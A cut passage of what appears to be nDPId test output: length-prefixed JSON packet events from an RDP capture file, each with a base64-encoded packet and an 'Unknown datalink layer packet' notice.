tu+m1UF"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1662,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1663,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659875,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoK6bUBAfzDPUAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1663,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1664,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660056,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi+kAAfwYh3cCoAo6sEAK5DT3NDkegrpv5vR7WUBD4qt\/cAAAXAwMGbwAAAAAAAAIdL1PlrXLinBIA9oqgXpazVh4f+QjRt+aY5aKqMUevKc2OnbWJx4bUCIFg3djrMqpaORSY\/78BK48AjZ9Y+IXHM7H720GQLy9HMEewr+B1wU1qWVCulZMz7hTS6su+WuwyRY3hyeMhcRp2CnoW3D7b9TQeQWVvbTaPrfj65p3w8H5b63fygATMdhPn36chzwb7yaUkIlANULXTTr6lyNQriS1spO0Dd4siWry0rc\/HqwZvLYtun0eupIHEDuxekbTyHzut+t6yd7u5wMZK0fuIOQdWIETfzOipsc6T3VVn2KFRJLbwUkjRZ50Q+k4aWDjp6gHvnjkGlThJqE2e4NDBAsFrrIy8FtEwGmXag1kuhihq6Cxi4F1R8farmWgQIUcdt1KyVJfOyktSDlRK9Er3JiTG64fKm6\/HlPHMEWL9ov1SWFFBNV1uoaV4G71vm50Zri2Yq4VRmMbzc5sa7iL+oyL\/i8qmSXKLD+ERFTYuoKTb8OfT\/J1zXBrJppBEttPfpRnK6NObX4+LCIuIpZY6x7I4UtCDxOta+NkDIeyLAv\/xhLJtA3R5WiSTvzpxeLPDnsedwv5iXQfGfqmkZyXaSopXA+OgeWkHx9hdmTwcBseDQcyfKrW3o5aB3TGoKy7x+1DLuwuabExrBQZl\/ZZynzpt4ic\/DcAL\/azC8hTVOQnNFzxCJf8Zym1qRicmE1fpyd2d699lMhIoq10sPG7NJ34E04hiS7ogHaNYSBK2OCgazfGIQ1l\/f8NLcIBbP97zfNNin4Ypnz5mQpMsuG6EzxVoALXV0rxQBeDv5gwD423o9tJWpkNU+3E\/OsKXQ+gw\/i4Cbx\/gwTHAkm9ZzrJDp7wlTYao794fstSuOQdkXxjHO5Ufde6LKrTVHd+Ek2pMtP1SFgitkKMJSN1enAtBo\/KmMUYqoYZcqq129oDZ\/2TYy4EllDzzKMTch7sWlUPpPuytrs0psDxCirC3S5PQCpU+fbquzSINqQhTMaoMLWi8gF+k8i6WCVwDELTbpqBbOhNHw7hR3uoXIkVS9iMk4Mhoc508nK+BpVYiOnhrgeJWJ4Hq\/PW9hubRbhefqFJKT3mdXm4N00Jy99lPnrskgFezn1G1ZoozIEadCzrCPRBlG2sxD\/t\/CSqxJNcgkIC8JydYDZd7uCbwyp3oR5QuJyBF8pkA++v6spblupVn7vipp6DPAQ9L95M\/49Zrv3UIu8f+TWi+MfD+Kxxz4mcNoLjYFKvl5o6vv57c4yMAkuJ4B1995XmCZ\/FHfhsyp\/W4CrG9MqLV7i4avQqK7oYBhu8xl\/10JT3UF12XeM\/h09ElDXp1SvzecETx5z0P88vtZtTUglH7UYTS5qBsAIiEumUEbldjW\/KUZH44Xu2hxPhzNECs2PDsd1emZVRgnSOzlPSkc9YswkhgEbvuDwgKcjOkVgNcj2IZmGhhM2MqFed+t+pqfD5p211bpb5Zb7IGmCT8IcsU3NERHmDIhI3vQmu8I27wHVSU5fYK2cxki2GLwVrbnnMcNhF2VHcg7c\/u8YUJXS44gthXTgbchXqKUAzZ1lSsy\/EIZSmBHlsRiQHCrI45XQr7O2hC7nEikgxMYt6izBk+g0Fc7UGPyvQ6gRFo46SAeghI5cog2YjeDDVPml1\/SfnJ5jUOCSSGf3Y7oKn09hetayJlCALJ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1664,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1665,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660099,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi+0AAfwYlWsCoAo6sEAK5DT3NDkegs5T5vR7WUBj4qoRIAAAKt4gokXLr5Rzgz+pAl2s6RxDtvuFHlucnOIy50438b2vb7uS0lGT+EyOZ2dreZV1vkEp7O3ocVArXBkN0RiC0viQRl0GcLfGygI93xdI1xloGTf\/5eQo0CSbgvuPMfDn4fYZeXtMrWbzccv+nMVV0WpOylbbxg1rFYu2uBAZ4Xd\/bxQvxIJnRGvi+2z7n7FJSUlW0ZGzXXBfa7pEYyT3VStgEup5IHL9ZSn8k8Rw4P3R+0BC+ldSrcrKFU3dVfptDqmHpOlNLy6ur1l6HMrjhpoWy4h688lgXZKHf7iE5mzpIqgt\/X0n5f2d5S2MqFPFIlKGljtauYRny72jyeKXiSNMuS6ysWnvtMGToMZvI\/r8w5l25krxaafXIh\/66+p2qbJ3EYD7d1Nevxcj8J3mZbAG2ZXT5GUWd\/hv9ZwDxmU9Kig3HAtJeQcBg9Y\/wIfHh1Pk3j7oX1cSQ1Jwn4u0fZ2wYJWFy9qM4v9J6S4yNhzP1vOFQM4KMb4oA"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1665,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1666,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660133,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoLUPUBAf9C04AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1666,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1667,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660358,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi\/EAAfwYh28CoAo6sEAK5DT3NDkegtQ\/5vR7WUBD4qoUFAAAXAwMGbwAAAAAAAAIewy+QpdQIHRyonMszSAFWO2J3ZDNSD1onSKRGYp0Zbs83JfGDhoMqSBlllM0ehZjwq2\/0ljPzK0YdoP7CcVZR3ev\/wQpfu3tBZpTOJ0JFEF4wC9Qzw4uZ7SxwfWeOSHzHVoS4JkLK9apv\/BSRvvnngD9fJOpfz8ItgsCtuZLfidg6pZW\/+hEYhnmj7Fp\/zKgi1odP4JP9NwEMBeg1sS0acjlYKTh6sH5k9Ew5pAiH7b1s8rFfgdKuxR39mALIHFvFoM8v+MFpoXsSh30p0PRzuToxQRnE\/KRwzCcsIoac0caF3BdQyT7nVxgjqWfeNyPynH1CZMs\/o+baOkg8V3sELEUUttyg7kjHdKOAZnYNTIyFLEQWwZqA9JlaT0TbgwJsGkdLCvu4xfclZpzX98tufDzeJ7TwU4Ltd3V+Ua27pjSWy3jTN4EhHqwZ4Trbv5vuQaBPXt2cCeokD9p8Ot+ZEZORJS2xK89o56a7rh7SkMSxWMR8hCQMSGVjE7Bsfj2IDsYEs4mT4eHH5ruiS4B9mk7\/2yAKOW4DzOz\/6lMZq2BIz8u9Af0vQSo0Ng5oEjYJCdnb6mN18tia4gNQw2B8LXoh\/uGc6p6pnjEm38JsO27lIuFGfOdwJa2f6CtDUW1EVCKW9iTi6vsdQKGsruiSL9IOUjbak4JRUY\/FLKHLuZpZ4F20VZ6+FtXGOEk0mjxbbscDb2IQbgfohlZctp38jnQgx6zXGNlMvuJa4ULRJdNO73o2vSBGvXsGTmh6SgqBlQVGgpKC7FJBb0w33KuJCC5HqLF2Vt6x077HcmHxM3KBPOgBWP4T3R3rXJpP4Fqv5NNttZ7RaDQprz4frU6ZspcXFDVRlimrD+CBzhKXpU3Rsu3jrCEgbHV1\/3NZgv1MdLLmHUyRJOzQ8gyA9vBLgpFuLexQDIg\/pVTzpvo20kmkUsloiuUMWR8al3bh4\/VnAGGs\/GvEu3vdVJB\/1s76LVll1cjXqgM4UEHURmTbIsf8+WrbDSvoizmYmL7HWYZmgtXRH4DT\/H91APgX8C1jy2q7cVL3Dwq31joyVJ6DoVXoNcM98uZGvtk97pJ1vXaKIqRdGCAF21KrdmA3X\/I76buWohhlehNJLzR3WhvMqU0CQ7iSaG3I6POlWsWEwES01Qazavo2ntF5JojZeOvgqVPZfIU0GfnRfU5EJ1N2E2CzZ0tbvb13Aqi+QJLEES7H\/Yf41L9zrnWuRBgv7CLwWE7J0dMPDCM\/\/wxg6To83GGyoaaKmlH2t7p+J3AKzOgh3TyRnpKciW5+yEn3o7jjoyl+d2rBRNeQNtA3chK89qb\/DdAs8Lmpixduuqlesp\/H3IUhUyqww1RjBMlofShKvhYVIRTo7gnfI\/tfaque9gsUPN9gvqCgvLTZvbhc+B3YSRMesJOzxYwW2P4S6TJP0Wuy3HErNPKxras8ZntuhgQsD5Yvw\/RV+d4J+za1BGrMC\/v7NWmyBYRjwKjq1it4mgExSfZTJgiJIQTC9gR+ukfTDVRQ2\/NrURypb7H0eZVwzJkiCqfhgInrav55wVbpaF1UwUhNBTT80KTg2XI7qhK9h2lCLiseGakZvJ+IUZp0ZgXlQYQ26ixL1\/AityegBfKwHmiupvUY4JNFJrIbtv+7QBnveXpS0JA8+NaCW553o87Z29vUSW7EdNGr"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1667,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1668,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660401,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi\/UAAfwYlWMCoAo6sEAK5DT3NDkegugj5vR7WUBj4qrjxAACKYijacMsOdE\/a1nqQFCmM9Hk6L5u\/mgS982khJ+0BKEINNKXnRLQtmzc5pKUFoGYiwhL1BoF10VZA19KcK2YHoHgdDVe+s2NaOurKDmCe3Q7Ovpry8EzoeP0GmIFl4J9gr3DX1iv6ODAsUC5\/kDlWGpLQMe5hD2SRSxJZwUbsSST44IjgGUwfhUBB2AXrDB\/wxARmk\/hJrWv+teCDa60uqX8JsoToCOGTmchGKdAB2avOGjm3VPRJOCKt\/z8MnEaCTM22pJ75D94HxfNC+aikb6NxxPOvQfZwTsfXA6dMi5LajK\/mrUryPBx20GUZwZdSY8\/A9i9lyv+ZcbaFr7Wm9921sI8b8TpTe83x8qbT1idXJCSjsiuCISQHasbjq7nlwAcbbSpaSU\/2mdsf5ctm4GB3TFfidDyiCdBqJmYMCTYgJwzeX1p9ILH9isbwJ+aNTEcEM\/70DaIyHdfZ1O8I5t5WeqzW5kEYSZ0A2ie2UkXSSlOBdSWidA1c"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1668,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1669,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660428,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoLuDUBAf9CbEAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1669,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1670,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660680,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi\/kAAfwYh2cCoAo6sEAK5DT3NDkegu4P5vR7WUBD4qrzsAAAXAwMGbwAAAAAAAAIfSwhXJx\/ahIAYRQGfGJJ2N1EVt5uqWMe6AeJVAE5+GuvXMAKDr5oMVh2kRLbO8GJBbiFzeTW6TyWrYjTrvs8GzRdIDnyl6GyqApCKmhKxQh4KByl5hqu4iLYOx4Q0s+iLyokbbBxyiyiL8MjSv3hdOwtJ1JPbTfurgkpDM8YNN\/qFJyqypEg29wUXfZ1XsHNTSiRlIje0gj0VmQ958PhII5tsubcUYg84RGc6ooiNJ07yXM4vRDfArgnYTWqr8nth6ArTucGUCqJcKsi9adPWQU5qmu5EzGCBB93xoWVXtoRXdEpc0PS5m+I9Df9858uTyUM700C1iTH\/AhFQDaJZJn+Qern6G\/wplcIZt4mcJ9zbIMshULU+u1utgJNo8olWMCfW7HH1jNzqaI1FDc7Nq4Qr37z2Sj3BNgQFD64edfbdw9JsSev1DGKNpFRA63yb4fZgtlwQ3zdePYw1uMMXLDAoANvFuUaK1C6SPp8I0Zzy6RZ1UnH71DBfTF71LJkJ9iSYFG6NAPiiFU5TaMnaHnyCQbF0v8+m7YO9lJGVWCpPcG6kWXGDFebmVhNz8bKorJKI91XeWlHlDiJ8xJdLyeJkjM1vsLz5yajXxKtqN20YNzRSFMlC7L1E5jCSA3m89CqLm4+QXZ5SJDwXkcRCbQf0bZGfC0X4MzTZUnCGaJIVXkz\/Z3HNnEUfFmXC4VQ7kH0JAo0EbKaM9HcjRtOEdF4qfy79TJP8PYs9+p+wsc0Av6eXPmDacfU0yxUxpk4g3o6SmPmW5IotnyPWK8hYS\/WM4qkwK1DheccAYdrqTljaHy\/L7D1\/\/+aIEwO5F9\/\/FRyKRE\/eYiKXS7v6TDln86XgTQ7siU2pQmuEHd9fBZdBOFt9Qu09iA5m02BXmqYU2QOxtBk74PnG9wxuL4OIc6Ax4p6GhgkukMdTHF\/wpmGq5ZS7+GtMsbxMWXISiv3Spx4C35h5bRNCa4liI4N7HtAAHPyScRPjDl++ntqUh1wt+qYFVnTmEnk9dABzYul7f26mCL07hCRxrXlH4raBZBlFTIcpjlDxkRVX3B70cwzbARm6jVSzH3BT1VFt0z7CRcvx85f9a2lVFMVk7WFNbjMqaXdPWiW7r2kZVDVjIFYBYWPd5h2ie9X8s\/He7xRALx7oxS3qgqohDwhxroSwyn+7mIOTBqVB9z\/zUiM+Cr8uLRUYuaYD0ZN2U3jKoSIJJzuhWBDQPBBVCWfHCAoTEwSwikPKt1d+Mps0HcExDKdxv6kVaU3RGmwjwNIGL86tdt80tFC2Q7fQhX2XhImV9Ts86JXwcxkawV0HHKamhX0dRx4AJjRQcMT5mp4cEoPzyQYJSw1h6i0t8D01iy1+KcHDdPu9vvgealELG+63KGEQ8xmS9mvgLTR3K74wYghurUsIPmwYCjkPdTg8VT3Xqkv5yYtk9ToegmTWKfkj3x02SLbhxJ84fUtOnU\/m2SQEFAm7h9MgGRNN\/Vbd3UQOjHCmOcC2ijMVo7xekjTgHr+xATKoFYmZ0HKqxnDtTBVQgRfAaaJUMVSf5if1Ht5tw7mr13xR9y4pkb0+FYsfIFWgtQH1dpt4e3pZvDNrnr9PB8RB4U315mvgqTDFPDd80Jp1DfnCGcfx0Ftx2oHqk7CYmzXoY0O9jf6UOvEs8+e\/FjAFqOV\/XQNdBSIZ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1670,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1671,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660723,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi\/0AAfwYlVsCoAo6sEAK5DT3NDkegwHz5vR7WUBj4qpRhAADZgrFcX8njgBPBlpJRgwAjac3wPdqIOuwvpFzGQEaGlQiyCYTAB8\/MhmULqgBtyjHU068rL0gpoI8dYpw7DqaHi2bu4BEcnEhTFtaglSbEJdvgItAjeHykKnxRfPMlUkxHboNJ0H9OuFz9bovseDT+zntnFL\/1TCljP5Nt5P0WAUURuF5DPgRl9+F5NxateiZtYmpECG96xZymtT7j2PXeycE8oxzNK4xwcsT7m7zBhDjR2WQHS7htkYTQNX4Hq5W0na9LKUCPi46LUf1Ga0Iz\/8k35PgZCjsb2VSuQWMrlPw8XvBV53tjaiZLQIhiuU3hMiq+BEVD6JeoMrXbS8qg6kxf78qzr1bh4iL45d27NpT8CeBtG39tp7e4tegO+t5ZeRYHsFqgNejP2DsjT4yBGa841C\/8wcABgr11n7jPH6QGGC3EmAaloO1xnUSP9h7RRhiKw8HOsVwS2jZkkrFVtn1DM+cye2NcyuGcUmdPW1QXYpqvQ4k5RQDo"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1671,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1672,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660755,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoMH3UBAf9CBQAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1672,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1673,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":660814,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjAEAAfwYh18CoAo6sEAK5DT3NDkegwff5vR7WUBD4qtm6AAAXAwMGbwAAAAAAAAIgCiZYWffBXR8pO6Q7YxdvvZPiHqsGTb5ZACEAkW\/UvC4ikut8m7JJDeIqQwF6oR1ew8+tluASn1lrLng6gYNVUbbnXdiX1cj1YtPcvD2T6N3jJZDc1bjqlYXsBlIuF+rzaX+vHdJX3eYVjPYvtbqzjHVHrH9ckbk7fDVozGzQAca6mBS2pUbRSnoYe3r0zPEOh30R4l0p2XfvmiRRbJe1tw4PGE3t6Ro+QIzvudKOKVYk4jxVNLRlEvB3Tp74fiF395hnr+oLCK7nORr4zcmK8pyvny\/g8+Xj3IBoBtw8B6jlX93gIFBenL4XATmQ4OKHZl9IuLaPlN0F2Igy23eHM+KVVgzgz0qepxQS4iVMuz\/Tg7VC+w+1YAZ8w5I60r2KtphWTPUj4omp7Cs3+a\/+KPFp+8aY\/R3uIsSijAndLPNdjoC8v1lnLz5phC2WyexbWt79Ev9VqJ3w0WC9m9U03+61a5OzGo6AmnpvNXzFRkkG4QMtpX2VFyc3GnuHoYOCd5u8TeSUFAoJ5nGBOJSX6sakvdEMLwk3gnknwHPqzrAaNzdSoCwdymkWCxtJqOFIl2NbCcohUVkgmtjk\/b8Zb0V9OrskqtgTEHAtScmftz42inc\/6QDu9OiOp7U0Iv27gqnwrpXia9hfN+WzrW10aoXSoUovASEzcamkW\/w7O\/r8gGT5IoHpZwteFpuCWhKGW4JUsLejy3SABiaGaDEquUBwAnYsadgui5TrOq1MsnWZ+vZGAXJyv70E3K93hKc1\/0uq0bCz\/XGr\/oFzYwMNa7nN2sh4sDiFE2Sc1rJcBQcYVav+xF2IJVjRKpZdGcGSGcS89qLSBrW2bDsftjKXBLnlbU95lESs7zhbGPad2BlU4WQslzh+HfzuvEgpxUNBA5jXaAHKekliERn2KwOQrrsi0b1WKrr6uGIAx\/AWDeeRJP8lGdUb+UTxeapSaW91ToP6KydMPZyZ6Dm08XC94SGvg5npDKgZ0PvWCOEmtTv2oHpqk1PxajjdsFaYPBHrGqzr2CF4y2AAY6mTg8DXThix3R4UfB9V1wbHUT5FF6oqaXW4ztqMwCcZjZWoXJErmkG8PIotbLsurOR4UjePnHp7Az58nZg+YrWrBCFRHsxmtcBBG5pE0WoJYjA3qDWcYfftzPtUug8kRHw3H12PIQpp8wjvR06NmeL4jOZb\/ZY+eFHMaYJYWdyg\/pO6uDDi\/rvopyUuht57RyvvzM6CMtCmKmukxuO+Gy59usPEtkjD9cl2dTAr5uXDMdmOodTNFwQf83h2usvFJ2jBjQf6RbNqGIYdrWmwpESc0XVHstLn+nZ16x9x4X5WDU10S0d1tfqd9gcrUEwrnXyKlGXAR2eRhZOnvrk7kiWtOt1THV7n6CL0GUXoPDzbYWZec7\/9TmnAckJGqwaxntlbQ6MBlSUHCovNQ5guCvpC8inNxquTT3WfJ+Tr\/C3oHu2yOHorcDPYoP0sRUYxTpW1oP5+28rLPszpw73uYR2o6hxy2bLbHUzl8OoiNrnEvY6IFXV6+iVgaW4Vx4lkTl1ghl4W\/4RGQV54Qg6fbBlQU1bqxM66MbLyW6Oan2GhPvfUem4UbiyMk+CV4ByqaVGy\/zq0Hx+tzEuKFWaufoAeJLeoVIOFRX1KGOHP0ksRB\/1C4S7Dt3AFw6GhponCHi47"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1673,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1674,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":661028,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjAUAAfwYlVMCoAo6sEAK5DT3NDkegxvD5vR7WUBj4quZLAACMGl\/oYjxFeeBeMS6VOKPiKb82ruYWi10Rg5zHG05jcvDUh80s2o19TnDS\/dw8zkNz+edO0MFNL\/r5vljSIFbydXFlVQTwjubWtLOrOGqfbXFUjatdelh\/IABUy5nT+Qu9iLC50NqqO2AMTsiiG+0oJP7\/9yESgqjVcrpFkJMcGFIB9xCilC1sfyHra0Z6CByYCYPdTEODns+ta3XSa6eBaGtCmMvEWLajGHnFQ+j52jdbsrBJ8XQdT+jMF0XxdKiD9EP313tJHxI1eqR0thzU4UicON1Ic0UNcPVaJvL0CYtOKMEAWZ0nxjtsHKyMkL\/Bexow\/4OVdUu\/A1ELL+y52EpfIeIyupXcS7ZKuoPyx\/YOCG3kXBLAGGp5dnlMn+or\/HVjSPFrMLV8a2oGusfaIwcDK415hjsbhH3Vr6AeqWdx27fwb2l01F6ld6K8IBLPg1mD8dU2IHAgWqzatrgrnlWzqgccepqUXZUupP35cqL+LyWiKM1b4ov\/"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1674,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1675,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":661059,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoMhrUBAf9BncAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1675,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1676,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":661075,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jAkAAfwYmmcCoAo6sEAK5DT3NDkegyGv5vR7WUBj4qjtWAAAXAwMAMAAAAAAAAAIhWYljTVO0ftXUGOekh00X\/joNzTfkh3tWwdAgI3SdwEa2+WpCEBgL4g=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1676,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1677,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":661110,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoMigUBAf\/hmdAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1677,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1678,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":661401,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9H+9HoMigUBggAGzXAAAXAwMAMOAIO32NJwwxHqmnpnzygOzeQH97L3seqxCrF7\/WbwEYj9M9j+KJqGsV2mK01yu2bQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1678,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1679,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":667648,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjA0AAfwYh1MCoAo6sEAK5DT3NDkegyKD5vR7WUBD4qgkeAAAXAwMGbwAAAAAAAAIiOsyM+CS5Jiy5vqDpDYMh72YNvZWE5a\/Ba0M5P1\/HR1MFUAMTZ8waID8B2AFwUk8SH1tygGW92LdbAA8MzmTq9uR8Rw5aTXIJemuucQm\/2a2JJZvmluuG6gCwBcUh5JwiWy\/1lKTUg7XG6vxFG8iSsr2SBcPOkGHS3BtbmZdp7aA8KE74e9bjQiKegF\/0rmYGNhr5sgIMXprs\/tUTrmoIE8zG846QYvb6W1Tf056RtYrgMHrhQzv+Wvkp3PQhq0S4\/lnKWlfRI8luzN4ksIymu5OpR5gPdn4hUIbQhLOGI7hUQmMJjdUgXquxqsSc3dDMRBgb4OyiSDeC6yLqrPOrIVcyQsWCMHz8FKBwvsayVrVh9EwP2us46hxJ3uxkJmsX6V217OFbjWsbfLShP1eNAfccfMyMOtiEC0P6C8rmNBvfLM8QFYFDdOT4WVTvs4KW7rSOVkwqEJwUOk1F70Soe7uCMJCkyaES4YE8e31w8fIrQPjWF0cYeV2b01DFNjSjwzTD74y411QIA07Na+o0jwLDoeRDVxOuXbkFYHNvkv27bTI8a\/IMx+jGZa+qZ1Zfd8kzndopBFY4VYy9WlDHcCahQSFxcyMnLE54TVAxv6dpyUe0VqD\/0wehPqSMrt6KQ0A0Y7njf6SV4sDCAbewP823Fw7QLYONMzUgMzOpmGF86jtUOOiJnUg3a2fLPJO3AGrT1\/8E340Hys5uprAzH39Omm+G5FcLp4HiHl83\/Gc1JiRPccqweFJ63PTx\/GWfXXcrxV+0phanibjcpRDbIG+GistByf8s2Co+h7C4FeuijDAQ9MLlnbLRMiragHO